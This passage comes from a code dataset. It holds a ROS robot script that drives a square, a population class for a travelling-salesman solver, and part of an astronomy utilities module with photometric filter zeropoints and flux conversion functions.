curr_y\n if math.pi*-.5 <= self.heading < 0:\n self.targ_x = math.cos(self.heading) + curr_x\n self.targ_y = -1*math.sin(self.heading) + curr_y\n if math.pi*-1 <= self.heading < -.5*math.pi:\n self.targ_x = -1*math.cos(self.heading) + curr_x\n self.targ_y = -1*math.sin(self.heading) + curr_y\n\n def calc_new_heading(self):\n curr_heading = self.heading\n temp_heading = curr_heading + .5*math.pi\n if temp_heading > math.pi:\n remainder = temp_heading % math.pi\n self.targ_heading = -1*math.pi + remainder\n else:\n self.targ_heading = temp_heading\n\n def monitor_heading(self):\n print(\"------Corner----------\")\n head_comp = self.heading >= self.targ_heading\n print(head_comp)\n if head_comp:\n self.angle_reached = True\n print(\"NUT NUT NUT HEADINGGGG\")\n print(self.angle_reached)\n self.pub.publish(Twist(angular=Vector3(z=0)))\n\n # def monitor_pos(self):\n # print(\"heck ya\")\n # if round(self.x,1) >= round(self.targ_x,1) and round(self.y,1) >= round(self.targ_y,1):\n # self.pub.publish(Twist(linear=Vector3(x=0, y=0)))\n # self.pos_reached = True\n\n def monitor_pos(self):\n if (abs(self.y) < 0.5):\n y_comp = math.isclose(abs(self.y), abs(self.targ_y), abs_tol=.2)\n else:\n y_comp = math.isclose(self.y, self.targ_y, rel_tol=.2)\n if (abs(self.x) < 0.5):\n x_comp = math.isclose(abs(self.x), abs(self.targ_x), abs_tol=.2)\n else:\n x_comp = math.isclose(self.x, self.targ_x, rel_tol=.2)\n\n print(\"------Line----------\")\n print(x_comp, y_comp)\n\n if x_comp and y_comp:\n self.pub.publish(Twist(linear=Vector3(x=0, y=0)))\n self.pos_reached = True\n\n def draw_line(self):\n r = rospy.Rate(10)\n self.calc_target_position()\n\n self.pub.publish(Twist(linear=Vector3(x=self.vel, y=0), angular=Vector3(z=0)))\n\n while not rospy.is_shutdown():\n self.monitor_pos()\n print(\"------------------\")\n print(\"X pos: \" + str(self.x))\n print(\"Y pos: \" + str(self.y))\n print(\"X target: \" + str(self.targ_x))\n print(\"Y target: \" + str(self.targ_y))\n # print(\"Pos Reached: \" + str(self.pos_reached))\n # print(\"\")\n # print(\"\")\n # print(\"Heading: \" + str(self.heading))\n # print(\"Targ heading: \" + str(self.y))\n # print(\"Angle Reached: \" + str(self.angle_reached))\n # print(\"\")\n # print(\"\")\n time.sleep(1)\n if self.pos_reached:\n print(\"Woop di doooo\")\n self.pos_reached = False\n return self.turn_corner\n r.sleep()\n\n def turn_corner(self):\n r = rospy.Rate(10)\n self.calc_new_heading()\n\n self.pub.publish(Twist(angular=Vector3(z=self.ang_vel)))\n\n while not rospy.is_shutdown():\n self.monitor_heading()\n if self.angle_reached:\n self.angle_reached = False\n print(\"hello\")\n return self.draw_line\n r.sleep()\n\n\n def run(self):\n rospy.sleep(1)\n while not rospy.is_shutdown():\n print(\"Pos flag: \" + str(self.pos_reached))\n\n # print(\"Heading: \" + str(self.heading))\n # print(\"Targ heading: \" + str(self.y))\n # print(\"Angle Reached: \" + str(self.angle_reached))\n\n self.state = self.state()\n print(self.state) #HELP doesn't print here\n\nif __name__ == '__main__':\n ds = DriveSquare()\n ds.run()","sub_path":"warmup_project/scripts/drive_square.py","file_name":"drive_square.py","file_ext":"py","file_size_in_byte":5412,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"}
+{"seq_id":"353616543","text":"import copy\n\nclass Population:\n def __init__(self,labirinth,sheep):\n self.labirinth = labirinth\n self.ready = []\n self.walking = []\n self.insert(sheep)\n\n def insert(self,sheep):\n for s in sheep:\n if s.toWalk == 0:\n self.ready.append(s)\n else:\n self.walking.append(s)\n if len(self.walking) > 0:\n self.walking = sorted(self.walking,key=lambda s: int(s.toWalk))\n\n def update(self):\n sheep = []\n while len(self.ready) > 0:\n s = self.ready[0]\n if len(s.marks) > 1 and s.marks[-1] == s.marks[0]:\n return True, s\n sheep.extend(s.clone())\n self.ready.pop(0)\n self.insert(sheep)\n\n if len(self.walking) > 0:\n mn = self.walking[0].toWalk\n for s in self.walking:\n s.walked = str(int(s.walked) + int(mn))\n if s.toWalk == mn:\n s.toWalk = 0\n s.marks.append(s.towards)\n if len(s.marks) > 1 and s.marks[-1] == s.marks[0]:\n return True, s\n s.marksLeft.remove(s.towards)\n s.towards = None\n self.ready.append(s)\n else:\n s.toWalk = str(int(s.toWalk) - int(mn))\n\n while len(self.walking) > 0 and self.walking[0].toWalk == 0:\n self.walking.pop(0)\n\n return False, self\n","sub_path":"Project2-TSP_Solving/Version_1/Population.py","file_name":"Population.py","file_ext":"py","file_size_in_byte":1502,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"}
+{"seq_id":"223346682","text":"#!/usr/bin/python\n# Utilities\nimport warnings, glob, os, re, xlrd, pickle, itertools, astropy.units as q, astropy.constants as ac, numpy as np, \\\n matplotlib.pyplot as plt, astropy.coordinates as apc, scipy.stats as st, astropy.io.fits as pf, \\\n scipy.optimize as opt\nimport astropy.table as at\nfrom random import random\nfrom heapq import nsmallest, nlargest\nfrom scipy.interpolate import Rbf\nimport SEDkit.interact as SI\n\nwarnings.simplefilter('ignore')\npackage = os.path.dirname(SI.__file__)\n\n\ndef blackbody(lam, T, Flam=False, radius=1, dist=10, emitted=False):\n \"\"\"\n Given a wavelength array [um] and temperature [K], returns an array of Planck function values in [erg s-1 cm-2 A-1]\n \"\"\"\n lam, T = lam.to(q.cm), T * q.K\n I = np.pi * (2 * ac.h * ac.c ** 2 / (\n lam ** (4 if Flam else 5) * (np.exp((ac.h * ac.c / (lam * ac.k_B * T)).decompose()) - 1))).to(\n q.erg / q.s / q.cm ** 2 / (1 if Flam else q.AA))\n return I if emitted else I * ((ac.R_jup * radius / (dist * q.pc)) ** 2).decompose()\n\n\ndef filter_info(band):\n \"\"\"\n Effective, min, and max wavelengths in [um] and zeropoint in [erg s-1 cm-2 A-1] and [photon s-1 cm-2 A-1] for\n SDSS, Bessel, 2MASS, IRAC and WISE filters IN THE VEGA SYSTEM. Values from SVO filter profile service.\n\n *band*\n Name of filter band (e.g. 'J' from 2MASS, 'W1' from WISE, etc.) or list of filter systems (e.g. ['SDSS',\n '2MASS','WISE'])\n\n **Don't forget to add the textfile of the photometric band to the data file that is used by the get_filters function\n \"\"\"\n Filters = {\n \"GALEX_FUV\" : {'eff' : 0.154226, 'min': 0.134032, 'max': 0.180643, 'zp': 6.486734e-09,\n 'zp_photon': 5.035932e+02, 'toVega': 0, 'ext': 2.62, 'system': 'GALEX'},\n \"GALEX_NUV\" : {'eff' : 0.227437, 'min': 0.169252, 'max': 0.300667, 'zp': 4.511628e-09,\n 'zp_photon': 5.165788e+02, 'toVega': 0, 'ext': 2.94, 'system': 'GALEX'},\n\n \"Johnson_U\" : {'eff' : 0.357065, 'min': 0.303125, 'max': 0.417368, 'zp': 3.656264e-09,\n 'zp_photon': 6.576522e+02, 'toVega': 0.0915, 'ext': 1.56, 'system': 'Johnson'},\n \"Johnson_B\" : {'eff' : 0.437812, 'min': 0.363333, 'max': 0.549706, 'zp': 6.286883e-09,\n 'zp_photon': 1.385995e+03, 'toVega': 0.0069, 'ext': 1.31, 'system': 'Johnson'},\n \"Johnson_V\" : {'eff' : 0.544579, 'min': 0.473333, 'max': 0.687500, 'zp': 3.571744e-09,\n 'zp_photon': 9.837109e+02, 'toVega': 0, 'ext': 1.02, 'system': 'Johnson'},\n \"Cousins_R\" : {'eff' : 0.641420, 'min': 0.550435, 'max': 0.883333, 'zp': 2.157178e-09,\n 'zp_photon': 6.971704e+02, 'toVega': 0.0018, 'ext': 0.83, 'system': 'Cousins'},\n \"Cousins_I\" : {'eff' : 0.797880, 'min': 0.704167, 'max': 0.916667, 'zp': 1.132454e-09,\n 'zp_photon': 4.549636e+02, 'toVega': -0.0014, 'ext': 0.61, 'system': 'Cousins'},\n\n \"SDSS_u\" : {'eff' : 0.3543, 'min': 0.304828, 'max': 0.402823, 'zp': 3.617963e-09,\n 'zp_photon': 6.546739e+02, 'toVega': 0.91, 'ext': 1.58, 'system': 'SDSS'},\n # AB to Vega transformations from Blanton et al. (2007)\n \"SDSS_g\" : {'eff' : 0.4770, 'min': 0.378254, 'max': 0.554926, 'zp': 5.491077e-09,\n 'zp_photon': 1.282871e+03, 'toVega': -0.08, 'ext': 1.23, 'system': 'SDSS'},\n # AB to Vega transformations from Blanton et al. (2007)\n \"SDSS_r\" : {'eff' : 0.6231, 'min': 0.541534, 'max': 0.698914, 'zp': 2.528924e-09,\n 'zp_photon': 7.794385e+02, 'toVega': 0.16, 'ext': 0.89, 'system': 'SDSS'},\n # AB to Vega transformations from Blanton et al. (2007)\n \"SDSS_i\" : {'eff' : 0.7625, 'min': 0.668947, 'max': 0.838945, 'zp': 1.409436e-09,\n 'zp_photon': 5.278550e+02, 'toVega': 0.37, 'ext': 0.68, 'system': 'SDSS'},\n # AB to Vega transformations from Blanton et al. (2007)\n \"SDSS_z\" : {'eff' : 0.9134, 'min': 0.796044, 'max': 1.083325, 'zp': 8.501067e-10,\n 'zp_photon': 3.807540e+02, 'toVega': 0.54, 'ext': 0.52, 'system': 'SDSS'},\n # AB to Vega transformations from Blanton et al. (2007)\n\n \"DES_u\" : {'eff' : 0.3543, 'min': 0.304828, 'max': 0.402823, 'zp': 5.360165e-09,\n 'zp_photon': 1.038526e+03, 'toVega': 0, 'ext': 0, 'system': 'DES'},\n \"DES_g\" : {'eff' : 0.4770, 'min': 0.378254, 'max': 0.554926, 'zp': 5.215897e-09,\n 'zp_photon': 1.243521e+03, 'toVega': 0, 'ext': 0, 'system': 'DES'},\n \"DES_r\" : {'eff' : 0.6231, 'min': 0.541534, 'max': 0.698914, 'zp': 2.265389e-09,\n 'zp_photon': 7.234969e+02, 'toVega': 0, 'ext': 0, 'system': 'DES'},\n \"DES_i\" : {'eff' : 0.7625, 'min': 0.668947, 'max': 0.838945, 'zp': 1.235064e-09,\n 'zp_photon': 4.820083e+02, 'toVega': 0, 'ext': 0, 'system': 'DES'},\n \"DES_z\" : {'eff' : 0.9134, 'min': 0.796044, 'max': 1.083325, 'zp': 8.072777e-10,\n 'zp_photon': 3.712548e+02, 'toVega': 0, 'ext': 0, 'system': 'DES'},\n \"DES_Y\" : {'eff' : 1.0289, 'min': 0.930000, 'max': 1.074600, 'zp': 6.596909e-10,\n 'zp_photon': 3.280450e+02, 'toVega': 0, 'ext': 0, 'system': 'DES'},\n\n \"FourStar_J1\": {'eff' : 1.052129, 'min': 0.990799, 'max': 1.120951, 'zp': 5.358674e-10,\n 'zp_photon': 2.838244e+02, 'toVega': 0, 'ext': 0.40, 'system': 'FourStar'},\n \"FourStar_J2\": {'eff' : 1.140731, 'min': 1.060065, 'max': 1.238092, 'zp': 4.088281e-10,\n 'zp_photon': 2.347727e+02, 'toVega': 0, 'ext': 0.35, 'system': 'FourStar'},\n \"FourStar_J3\": {'eff' : 1.283508, 'min': 1.200310, 'max': 1.377945, 'zp': 2.709316e-10,\n 'zp_photon': 1.750579e+02, 'toVega': 0, 'ext': 0.29, 'system': 'FourStar'},\n\n \"2MASS_J\" : {'eff' : 1.2350, 'min': 1.080647, 'max': 1.406797, 'zp': 3.129e-10, 'zp_photon': 1.943482e+02,\n 'toVega': 0, 'ext': 0.0166, 'system': '2MASS'}, # ZP from Cohen et al. (2003)\n \"2MASS_H\" : {'eff' : 1.6620, 'min': 1.478738, 'max': 1.823102, 'zp': 1.133e-10, 'zp_photon': 9.437966e+01,\n 'toVega': 0, 'ext': 0.0146, 'system': '2MASS'}, # ZP from Cohen et al. (2003)\n \"2MASS_Ks\" : {'eff' : 2.1590, 'min': 1.954369, 'max': 2.355240, 'zp': 4.283e-11, 'zp_photon': 4.664740e+01,\n 'toVega': 0, 'ext': 0.0710, 'system': '2MASS'}, # ZP from Cohen et al. (2003)\n\n \"MKO_Y\" : {'eff' : 1.02894, 'min': 0.9635, 'max': 1.1025, 'zp': 5.869238e-10, 'zp_photon': 3.033632e+02,\n 'toVega': 0, 'ext': 0.41, 'system': 'MKO'},\n \"MKO_J\" : {'eff' : 1.250, 'min': 1.148995, 'max': 1.348332, 'zp': 3.01e-10, 'zp_photon': 1.899569e+02,\n 'toVega': 0, 'ext': 0.30, 'system': 'MKO'}, # eff and ZP from Tokunaga & Vacca (2005)\n \"MKO_H\" : {'eff' : 1.644, 'min': 1.450318, 'max': 1.808855, 'zp': 1.18e-10, 'zp_photon': 9.761983e+01,\n 'toVega': 0, 'ext': 0.20, 'system': 'MKO'}, # eff and ZP from Tokunaga & Vacca (2005)\n \"MKO_K\" : {'eff' : 2.198, 'min': 1.986393, 'max': 2.397097, 'zp': 4.00e-11, 'zp_photon': 4.488476e+01,\n 'toVega': 0, 'ext': 0.12, 'system': 'MKO'}, # eff and ZP from Tokunaga & Vacca (2005)\n \"MKO_L'\" : {'eff' : 3.754, 'min': 3.326622, 'max': 4.207764, 'zp': 5.31e-12, 'zp_photon': 1.016455e+01,\n 'toVega': 0, 'ext': 0.06, 'system': 'MKO'}, # eff and ZP from Tokunaga & Vacca (2005)\n \"MKO_M'\" : {'eff' : 4.702, 'min': 4.496502, 'max': 4.865044, 'zp': 2.22e-12, 'zp_photon': 5.305197e+00,\n 'toVega': 0, 'ext': 0.05, 'system': 'MKO'}, # eff and ZP from Tokunaga & Vacca (2005)\n\n \"DENIS_I\" : {'eff' : 0.78621, 'min': 0.7007, 'max': 0.9140, 'zp': 1.182102e-09, 'zp_photon': 4.681495e+02,\n 'toVega': 0, 'ext': 0.63, 'system': 'DENIS'},\n \"DENIS_J\" : {'eff' : 1.22106, 'min': 1.0508, 'max': 1.3980, 'zp': 3.190256e-10, 'zp_photon': 1.961698e+02,\n 'toVega': 0, 'ext': 0.31, 'system': 'DENIS'},\n \"DENIS_Ks\" : {'eff' : 2.14650, 'min': 1.9474, 'max': 2.3979, 'zp': 4.341393e-11, 'zp_photon': 4.691482e+01,\n 'toVega': 0, 'ext': 0.13, 'system': 'DENIS'},\n\n \"WISE_W1\" : {'eff' : 3.3526, 'min': 2.754097, 'max': 3.872388, 'zp': 8.1787e-12, 'zp_photon': 1.375073e+01,\n 'toVega': 0, 'ext': 0.07, 'system': 'WISE'}, # eff and ZP from Jarrett et al. (2011)\n \"WISE_W2\" : {'eff' : 4.6028, 'min': 3.963326, 'max': 5.341360, 'zp': 2.4150e-12, 'zp_photon': 5.586982e+00,\n 'toVega': 0, 'ext': 0.05, 'system': 'WISE'}, # eff and ZP from Jarrett et al. (2011)\n \"WISE_W3\" : {'eff' : 11.5608, 'min': 7.443044, 'max': 17.26134, 'zp': 6.5151e-14,\n 'zp_photon': 3.567555e-01, 'toVega': 0, 'ext': 0.06, 'system': 'WISE'},\n # eff and ZP from Jarrett et al. (2011)\n \"WISE_W4\" : {'eff' : 22.0883, 'min': 19.52008, 'max': 27.91072, 'zp': 5.0901e-15,\n 'zp_photon': 5.510352e-02, 'toVega': 0, 'ext': 0.02, 'system': 'WISE'},\n # eff and ZP from Jarrett et al. (2011)\n\n \"IRAC_ch1\" : {'eff' : 3.507511, 'min': 3.129624, 'max': 3.961436, 'zp': 6.755364e-12,\n 'zp_photon': 1.192810e+01, 'toVega': 0, 'ext': 0.07, 'system': 'IRAC'},\n \"IRAC_ch2\" : {'eff' : 4.436578, 'min': 3.917328, 'max': 5.056057, 'zp': 2.726866e-12,\n 'zp_photon': 6.090264e+00, 'toVega': 0, 'ext': 0.05, 'system': 'IRAC'},\n \"IRAC_ch3\" : {'eff' : 5.628102, 'min': 4.898277, 'max': 6.508894, 'zp': 1.077512e-12,\n 'zp_photon': 3.052866e+00, 'toVega': 0, 'ext': 0.04, 'system': 'IRAC'},\n \"IRAC_ch4\" : {'eff' : 7.589159, 'min': 6.299378, 'max': 9.587595, 'zp': 3.227052e-13,\n 'zp_photon': 1.232887e+00, 'toVega': 0, 'ext': 0.03, 'system': 'IRAC'},\n \"MIPS_ch1\" : {'eff' : 23.20960, 'min': 19.88899, 'max': 30.93838, 'zp': 3.935507e-15,\n 'zp_photon': 4.598249e-02, 'toVega': 0, 'ext': 0.02, 'system': 'MIPS'},\n\n \"Gaia_G\" : {'eff' : 0.60, 'min': 0.321, 'max': 1.103, 'zp': 2.862966e-09, 'zp_photon': 8.053711e+02,\n 'toVega': 0, 'ext': 0, 'system': 'Gaia'},\n \"Gaia_BP\" : {'eff' : 0.55, 'min': 0.321, 'max': 0.680, 'zp': 4.298062e-09, 'zp_photon': 1.067265e+03,\n 'toVega': 0, 'ext': 0, 'system': 'Gaia'},\n \"Gaia_RP\" : {'eff' : 0.75, 'min': 0.627, 'max': 1.103, 'zp': 1.294828e-09, 'zp_photon': 4.948727e+02,\n 'toVega': 0, 'ext': 0, 'system': 'Gaia'},\n \n \"ESO1077\" : {'eff' : 0.790063, 'min': 0.698018, 'max': 0.912668, 'zp': 1.164e-9, 'zp_photon': 5.278550e+02,\n 'toVega': 0, 'ext': 0, 'system': 'Johnson'},\n \n\n \"HST_F090M\" : {'eff' : 0.897360, 'min': 0.784317, 'max': 1.013298, 'zp': 8.395228e-10,\n 'zp_photon': 3.792477e+02, 'toVega': 0, 'ext': 0.51, 'system': 'HST'},\n \"HST_F110W\" : {'eff' : 1.059175, 'min': 0.782629, 'max': 1.432821, 'zp': 4.726040e-10,\n 'zp_photon': 2.519911e+02, 'toVega': 0, 'ext': 0.39, 'system': 'HST'},\n \"HST_F140W\" : {'eff' : 1.364531, 'min': 1.185379, 'max': 1.612909, 'zp': 2.133088e-10,\n 'zp_photon': 1.465263e+02, 'toVega': 0, 'ext': 0.26, 'system': 'HST'},\n \"HST_F164N\" : {'eff' : 1.646180, 'min': 1.629711, 'max': 1.663056, 'zp': 1.109648e-10,\n 'zp_photon': 9.195720e+01, 'toVega': 0, 'ext': 0.19, 'system': 'HST'},\n \"HST_F170M\" : {'eff' : 1.699943, 'min': 1.579941, 'max': 1.837134, 'zp': 1.015711e-10,\n 'zp_photon': 8.692163e+01, 'toVega': 0, 'ext': 0.18, 'system': 'HST'},\n \"HST_F190N\" : {'eff' : 1.898486, 'min': 1.880845, 'max': 1.917673, 'zp': 6.957714e-11,\n 'zp_photon': 6.649628e+01, 'toVega': 0, 'ext': 0.15, 'system': 'HST'},\n \"HST_F215N\" : {'eff' : 2.148530, 'min': 2.128579, 'max': 2.168078, 'zp': 4.355167e-11,\n 'zp_photon': 4.710529e+01, 'toVega': 0, 'ext': 0.13, 'system': 'HST'},\n \"HST_F336W\" : {'eff' : 0.332930, 'min': 0.295648, 'max': 0.379031, 'zp': 3.251259e-09,\n 'zp_photon': 5.486427e+02, 'toVega': 0, 'ext': 1.70, 'system': 'HST'},\n \"HST_F390N\" : {'eff' : 0.388799, 'min': 0.384000, 'max': 0.393600, 'zp': 5.673647e-09,\n 'zp_photon': 1.143901e+03, 'toVega': 0, 'ext': 1.48, 'system': 'HST'},\n \"HST_F475W\" : {'eff' : 0.470819, 'min': 0.386334, 'max': 0.556272, 'zp': 5.331041e-09,\n 'zp_photon': 1.260475e+03, 'toVega': 0, 'ext': 1.21, 'system': 'HST'},\n \"HST_F555W\" : {'eff' : 0.533091, 'min': 0.458402, 'max': 0.620850, 'zp': 4.062007e-09,\n 'zp_photon': 1.061011e+03, 'toVega': 0, 'ext': 1.05, 'system': 'HST'},\n \"HST_F625W\" : {'eff' : 0.626619, 'min': 0.544589, 'max': 0.709961, 'zp': 2.478260e-09,\n 'zp_photon': 7.679998e+02, 'toVega': 0, 'ext': 0.68, 'system': 'HST'},\n \"HST_F656N\" : {'eff' : 0.656368, 'min': 0.653838, 'max': 0.658740, 'zp': 1.434529e-09,\n 'zp_photon': 4.737886e+02, 'toVega': 0, 'ext': 0.81, 'system': 'HST'},\n \"HST_F673N\" : {'eff' : 0.673224, 'min': 0.667780, 'max': 0.678367, 'zp': 1.908442e-09,\n 'zp_photon': 6.499706e+02, 'toVega': 0, 'ext': 0.78, 'system': 'HST'},\n \"HST_F775W\" : {'eff' : 0.765263, 'min': 0.680365, 'max': 0.863185, 'zp': 1.323662e-09,\n 'zp_photon': 5.055354e+02, 'toVega': 0, 'ext': 0.65, 'system': 'HST'},\n \"HST_F814W\" : {'eff' : 0.790114, 'min': 0.697809, 'max': 0.968369, 'zp': 1.171e-9,\n 'zp_photon': 5.055354e+02, 'toVega': 0, 'ext': 0.65, 'system': 'HST'},\n \"HST_F850LP\" : {'eff' : 0.963736, 'min': 0.832000, 'max': 1.100000, 'zp': 8.069014e-10,\n 'zp_photon': 4.820083e+02, 'toVega': 0, 'ext': 0.46, 'system': 'HST'},\n\n \"PS_g\" : {'eff': 0.477562, 'min': 0.3943, 'max': 0.5593, 'zp': 5.139e-9, 'zp_photon': 1236.02,\n 'toVega': -0.0801, 'ext': 1.19, 'system': 'PAN-STARRS'},\n \"PS_r\" : {'eff': 0.62195, 'min': 0.5386, 'max': 0.7036, 'zp': 2.515e-9, 'zp_photon': 776.35,\n 'toVega': 0.154, 'ext': 0.89, 'system': 'PAN-STARRS'},\n \"PS_i\" : {'eff': 0.74846, 'min': 0.6778, 'max': 0.8304, 'zp':1.383e-9, 'zp_photon': 521.43,\n 'toVega': 0.369, 'ext': 0.67, 'system': 'PAN-STARRS'},\n \"PS_y\" : {'eff': 0.96031, 'min': 0.9100, 'max': 1.0838, 'zp': 7.171e-10, 'zp_photon': 346.87,\n 'toVega':0.541 , 'ext': 0.46, 'system': 'PAN-STARRS'},\n \"PS_z\" : {'eff': 0.86578, 'min': 0.8028, 'max': 0.9346, 'zp': 9.091e-10, 'zp_photon':633.28,\n 'toVega':0.509, 'ext': 0.53, 'system': 'PAN-STARRS'}}\n\n if isinstance(band, list):\n for i in Filters.keys():\n if Filters[i]['system'] not in band:\n Filters.pop(i)\n return Filters\n elif isinstance(band, str):\n return Filters[band]\n\n\ndef find(filename, tree):\n \"\"\"\n For given filename and directory tree, returns the path to the file.\n For only file extension given as filename, returns list of paths to all files with that extnsion in that\n directory tree.\n\n *filename*\n Filename or file extension to search for (e.g. 'my_file.txt' or just '.txt')\n *tree*\n Directory tree base to start the walk (e.g. '/Users/Joe/Documents/')\n \"\"\"\n import os\n result = []\n\n for root, dirs, files in os.walk(tree):\n if filename.startswith('.'):\n for f in files:\n if f.endswith(filename):\n result.append(os.path.join(root, f))\n else:\n if filename in files:\n result.append(os.path.join(root, filename))\n\n return result\n\n\ndef flux_calibrate(mag, dist, sig_m='', sig_d='', scale_to=10 * q.pc):\n if isinstance(mag, (float, int)):\n return [round(mag - 5 * np.log10((dist.to(q.pc) / scale_to.to(q.pc)).value), 3),\n round(np.sqrt(sig_m ** 2 + 25 * (sig_d.to(q.pc) / (dist.to(q.pc) * np.log(10))).value ** 2),\n 3) if sig_m and sig_d else '']\n elif hasattr(mag, 'unit'):\n return [float('{:.4g}'.format(mag.value * (dist / scale_to).value ** 2)) * mag.unit, float('{:.4g}'.format(\n np.sqrt((sig_m * (dist / scale_to).value) ** 2 + (\n 2 * mag * (sig_d * dist / scale_to ** 2).value) ** 2))) * mag.unit if sig_m != '' and sig_d else '']\n else:\n print('Could not flux calibrate that input to distance {}.'.format(dist))\n\n\ndef flux2mag(band, f, sig_f='', photon=False, filter_dict=''):\n \"\"\"\n For given band and flux returns the magnitude value (and uncertainty if *sig_f*)\n \"\"\"\n filt = filter_dict[band]\n if f.unit == 'Jy':\n f, sig_f = (ac.c * f / filt['eff'] ** 2).to(q.erg / q.s / q.cm ** 2 / q.AA), (\n ac.c * sig_f / filt['eff'] ** 2).to(q.erg / q.s / q.cm ** 2 / q.AA)\n if photon:\n f, sig_f = (f * (filt['eff'] / (ac.h * ac.c)).to(1 / q.erg)).to(1 / q.s / q.cm ** 2 / q.AA), (\n sig_f * (filt['eff'] / (ac.h * ac.c)).to(1 / q.erg)).to(1 / q.s / q.cm ** 2 / q.AA)\n m = -2.5 * np.log10((f / filt['zp_photon' if photon else 'zp']).value)\n sig_m = (2.5 / np.log(10)) * (sig_f / f).value if sig_f else ''\n return [m, sig_m]\n\n\ndef get_filters(filter_directories=[package + '/Data/Filters/{}/'.format(i) for i in\n ['2MASS', 'SDSS', 'WISE', 'IRAC', 'MIPS', 'FourStar', 'HST', 'Johnson', 'Cousins',\n 'MKO', 'GALEX', 'DENIS', 'Gaia', 'DES','PAN-STARRS']],\n systems=['2MASS', 'SDSS', 'WISE', 'IRAC', 'MIPS', 'FourStar', 'HST', 'Johnson', 'Cousins', 'MKO',\n 'GALEX', 'DENIS', 'Gaia', 'DES', 'PAN-STARRS']):\n \"\"\"\n Grabs all the .txt spectral response curves and returns a dictionary of wavelength array [um], filter response [\n unitless], effective, min and max wavelengths [um], and zeropoint [erg s-1 cm-2 A-1].\n \"\"\"\n files = glob.glob(filter_directories + '*.txt') if isinstance(filter_directories, str) else [j for k in [\n glob.glob(i + '*.txt') for i in filter_directories] for j in k]\n\n if len(files) == 0:\n print('No filters in', filter_directories)\n else:\n filters = {}\n for filepath in files:\n try:\n filter_name = os.path.splitext(os.path.basename(filepath))[0]\n RSR_x, RSR_y = np.genfromtxt(filepath, unpack=True, comments='#')\n RSR_x, RSR_y = (RSR_x * (q.um if min(RSR_x) < 100 else q.AA)).to(q.um), RSR_y * q.um / q.um\n Filt = filter_info(filter_name)\n filters[filter_name] = {'wav' : RSR_x, 'rsr': RSR_y, 'system': Filt['system'],\n 'eff' : Filt['eff'] * q.um, 'min': Filt['min'] * q.um,\n 'max' : Filt['max'] * q.um, 'ext': Filt['ext'], 'toVega': Filt['toVega'],\n 'zp' : Filt['zp'] * q.erg / q.s / q.cm ** 2 / q.AA,\n 'zp_photon': Filt['zp_photon'] / q.s / q.cm ** 2 / q.AA}\n except:\n pass\n for i in filters.keys():\n if filters[i]['system'] not in systems:\n filters.pop(i)\n return filters\n\n\ndef goodness(spec1, spec2, array=False, exclude=[], filt_dict=None, weighting=True, verbose=False):\n if isinstance(spec1, dict) and isinstance(spec2, dict) and filt_dict:\n bands, w1, f1, e1, f2, e2, weight, bnds = [i for i in filt_dict.keys() if all(\n [i in spec1.keys(), i in spec2.keys()]) and i not in exclude], [], [], [], [], [], [], []\n for eff, b in sorted([(filt_dict[i]['eff'], i) for i in bands]):\n if all([spec1[b], spec1[b + '_unc'], spec2[b], spec2[b + '_unc']]):\n bnds.append(b), w1.append(eff.value), f1.append(spec1[b].value), e1.append(\n spec1[b + '_unc'].value), f2.append(spec2[b].value), e2.append(\n spec2[b + '_unc'].value if b + '_unc' in spec2.keys() else 0), weight.append(\n (filt_dict[b]['max'] - filt_dict[b]['min']).value if weighting else 1)\n bands, w1, f1, e1, f2, e2, weight = map(np.array, [bnds, w1, f1, e1, f2, e2, weight])\n if verbose:\n printer(['Band', 'W_spec1', 'F_spec1', 'E_spec1', 'F_spec2', 'E_spec2', 'Weight', 'g-factor'], zip(\n *[bnds, w1, f1, e1, f2, e2, weight, weight * (f1 - f2 * (\n sum(weight * f1 * f2 / (e1 ** 2 + e2 ** 2)) / sum(weight * f2 ** 2 / (e1 ** 2 + e2 ** 2)))) ** 2 / (\n e1 ** 2 + e2 ** 2)]))\n else:\n spec1, spec2 = [[i.value if hasattr(i, 'unit') else i for i in j] for j in [spec1, spec2]]\n if exclude:\n spec1 = [i[idx_exclude(spec1[0], exclude)] for i in spec1]\n (w1, f1, e1), (f2, e2), weight = spec1, rebin_spec(spec2, spec1[0])[1:], np.gradient(spec1[0])\n if exclude:\n weight[weight > np.std(weight)] = 0\n C = sum(weight * f1 * f2 / (e1 ** 2 + e2 ** 2)) / sum(weight * f2 ** 2 / (e1 ** 2 + e2 ** 2))\n G = weight * (f1 - f2 * C) ** 2 / (e1 ** 2 + e2 ** 2)\n if verbose:\n plt.figure(), plt.loglog(w1, f1, 'k', label='spec1', alpha=0.6), plt.loglog(w1, f2 * C, 'b',\n label='spec2 binned',\n alpha=0.6), plt.grid(\n True), plt.legend(loc=0)\n return [G if array else sum(G), C]\n\n\ndef group(lst, n):\n for i in range(0, len(lst), n):\n val = lst[i:i + n]\n if len(val) == n:\n yield tuple(val)\n\n\ndef group_spectra(spectra):\n \"\"\"\n Puts a list of *spectra* into groups with overlapping wavelength arrays\n \"\"\"\n groups, idx, i = [], [], 'wavelength' if isinstance(spectra[0], dict) else 0\n for N, S in enumerate(spectra): # N= number, S= spectrum value\n if N not in idx:\n group, idx = [S], idx + [N]\n for n, s in enumerate(spectra):\n if n not in idx and any(np.where(np.logical_and(S[i] < s[i][-1], S[i] > s[i][0]))[0]):\n group.append(s), idx.append(n)\n groups.append(group)\n return groups\n\n\ndef idx_include(x, include):\n try:\n return np.where(np.array(map(bool, map(sum, zip(*[np.logical_and(x > i[0], x < i[1]) for i in include])))))[0]\n except TypeError:\n try:\n return \\\n np.where(np.array(map(bool, map(sum, zip(*[np.logical_and(x > i[0], x < i[1]) for i in [include]])))))[0]\n except TypeError:\n return range(len(x))\n\n\ndef idx_exclude(x, exclude):\n try:\n return np.where(~np.array(map(bool, map(sum, zip(*[np.logical_and(x > i[0], x < i[1]) for i in exclude])))))[0]\n except TypeError:\n try:\n return \\\n np.where(~np.array(map(bool, map(sum, zip(*[np.logical_and(x > i[0], x < i[1]) for i in exclude])))))[0]\n except TypeError:\n return range(len(x))\n\n\ndef inject_average(spectrum, position, direction, n=10):\n \"\"\"\n Used to smooth edges after trimming a spectrum. Injects a new data point into a *spectrum* at given *position*\n with flux value equal to the average of the *n* elements in the given *direction*.\n \"\"\"\n units, spectrum, rows = [i.unit if hasattr(i, 'unit') else 1 for i in spectrum], [\n i.value if hasattr(i, 'unit') else i for i in spectrum], zip(\n *[i.value if hasattr(i, 'unit') else i for i in spectrum])\n new_pos = [position, np.interp(position, spectrum[0], spectrum[1]), np.interp(position, spectrum[0], spectrum[2])]\n rows = 